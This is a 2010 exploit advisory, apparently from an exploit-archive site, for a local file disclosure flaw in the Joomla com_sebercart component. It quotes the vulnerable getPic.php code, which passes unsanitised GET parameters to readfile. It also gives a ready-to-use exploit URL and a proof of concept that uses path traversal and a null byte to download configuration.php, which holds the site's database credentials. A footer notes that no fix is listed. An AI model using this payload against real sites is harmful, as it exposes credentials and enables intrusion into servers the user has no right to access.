Joomla Component com_sebercar 1.0.0.1x LFD Vulnerability

2010-05-13 10:03:42


=========================================================================================================


[o] Joomla Component Seber Cart Local File Disclosure Vulnerability

Software : com_sebercart version 1.0.0.1x
Vendor : http://www.seber.com.au/
Author : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
Contact : public[dot]antisecurity[dot]org
Home : http://antisecurity.org/


=========================================================================================================

[o] Vulnerable File

components/com_sebercart/getPic.php

if (file_exists($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg"))
{
header('Content-type: image/jpeg');
header('Content-Disposition: attachment; filename="image.jpg"');
readfile($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg");
}


[o] Exploit

http://localhost/[path]/components/com_sebercart/getPic.php?p=[LFD]%00

Download the image.jpg file and open with notepad or gedit.


[o] PoC

http://localhost/components/com_sebercart/getPic.php?p=../../configuration.php%00


=========================================================================================================


[o] Greetz

Angela Zhang stardustmemory aJe martfella pizzyroot Genex
H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 inc0mp13te
ArRay bjork xmazinha & all people in #evilc0de [at] irc.byroe.net


=========================================================================================================


[o] May 13 2010 - GMT +07:00 Jakarta, Indonesia

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.